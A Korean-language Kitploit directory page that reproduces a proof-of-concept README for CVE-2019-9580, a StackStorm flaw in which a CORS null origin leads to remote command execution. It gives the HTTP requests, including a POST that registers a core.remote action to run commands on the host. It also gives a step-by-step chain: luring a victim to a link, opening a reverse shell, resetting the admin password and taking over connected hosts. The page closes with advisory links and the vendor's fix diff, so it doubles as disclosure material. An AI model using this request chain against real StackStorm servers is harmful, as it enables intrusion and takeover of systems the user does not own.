Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-9580 — CVE-2019-9580 - StackStorm: CORS 잘못된 설정(null origin)을 악용하여 RCE 획득 | Kitploit
도구/GitHubGitHub/mpgn/cve-2019-9580
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubmpgn/cve-2019-9580

CVE-2019-9580

CVE-2019-9580 - StackStorm: CORS 잘못된 설정(null origin)을 악용하여 RCE 획득

저장소 보기
31437년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-9580 - CORS null origin을 악용하여 RCE를 달성하는 StackStorm (2.9.3 및 2.10.3 미만)

2.10.3/2.9.3 이전에는 요청의 origin을 알 수 없는 경우 null을 반환했습니다. null은 일부 클라이언트에서 알 수 없는 origin으로부터의 요청이 성공하도록 만들 수 있습니다. 이로 인해 StackStorm API에 대한 XSS 스타일 공격이 가능해집니다.

발견자: Barak Tawily 및 Anna Tsibulskaya

Peek 13-03-2019 17-16 (Firefox 사용자는 피해자, Chrome 사용자는 공격자)

개념 증명

null CORS 악용

Origin: null이라는 null Origin 헤더로 StackStorm API에 요청을 보내면, 서버는 Access-Control-Allow-Origin을 null로 응답합니다.

root@kitploit:~
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275

서버 응답:

root@kitploit:~
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID

null CORS 악용은 portswigger의 블로그 게시물에 문서화되어 있으며, 다음과 같은 페이로드를 찾을 수 있습니다:

root@kitploit:~

그렇다면 RCE는?

StackStorm은 actions를 구성할 수 있게 해주며, core.remote와 같은 일부 action은 선택한 호스트에서 임의의 명령을 실행합니다.

image

따라서 호스트를 127.0.0.1로 설정하면 StackStorm 도커에서 명령을 실행하게 됩니다. 좋습니다. action을 등록하기 위해 간단한 POST 요청만 보내면 되므로 RCE도 문제없이 동작할 것입니다.

root@kitploit:~
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131

{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}

다음 단계는?

StackStorm 호스트에서 명령을 실행할 수 있습니다. 하지만 StackStorm 플랫폼에 대한 완전한 제어권을 획득해 봅시다. 이는 관리자의 비밀번호를 재설정하여 수행할 수 있습니다. 문서를 사용하면:

비밀번호를 변경해야 하나요? 실행: sudo htpasswd /etc/st2/htpasswd st2admin. https://docs.stackstorm.com/authentication.html

좋습니다. 이제 모든 것을 종합해 봅시다:

  1. 악성 페이로드가 포함된 링크를 피해자에게 보내어 127.0.0.1 호스트에서 임의의 명령을 실행하는 새 action을 등록합니다.
  2. 피해자가 링크를 클릭하고 조랑말을 봅니다.
  3. Origin: null 헤더로 요청을 보내면 CORS가 null이므로 새 action을 등록하는 POST 요청이 작동합니다 (또한 credentials: "include" 매개변수도 설정합니다).
  4. action이 트리거되고 명령이 실행됩니다 (reverse shell).
  5. 공격자는 관리자의 비밀번호를 재설정하여 StackStorm 플랫폼에 대한 완전한 제어권을 획득합니다.
  6. 공격자는 StackStorm에 등록된 다른 모든 호스트를 손상시킬 수 있습니다.

capture d'écran_1

보안 권고:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://github.com/StackStorm/st2/pull/4577/commits/66605b7b202b8bd2db1ccd8c1ce7279028ac86d4
root@kitploit:~
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return

Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
 st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
 st2common/st2common/middleware/cors.py        | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
             'origin': 'http://xss'
         })
         self.assertEqual(response.status_int, 200)
-        self.assertEqual(response.headers['Access-Control-Allow-Origin'],
-                         'null')
+        self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+                        'http://127.0.0.1:3000')
 
     def test_wildcard_origin(self):
         try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
                     origin_allowed = origin
                 else:
                     # See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
-                    origin_allowed = origin if origin in origins else 'null'
+                    origin_allowed = origin if origin in origins else list(origins)[0]
             else:
                 origin_allowed = list(origins)[0]

리소스:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://quitten.github.io/StackStorm/
도구 다운로드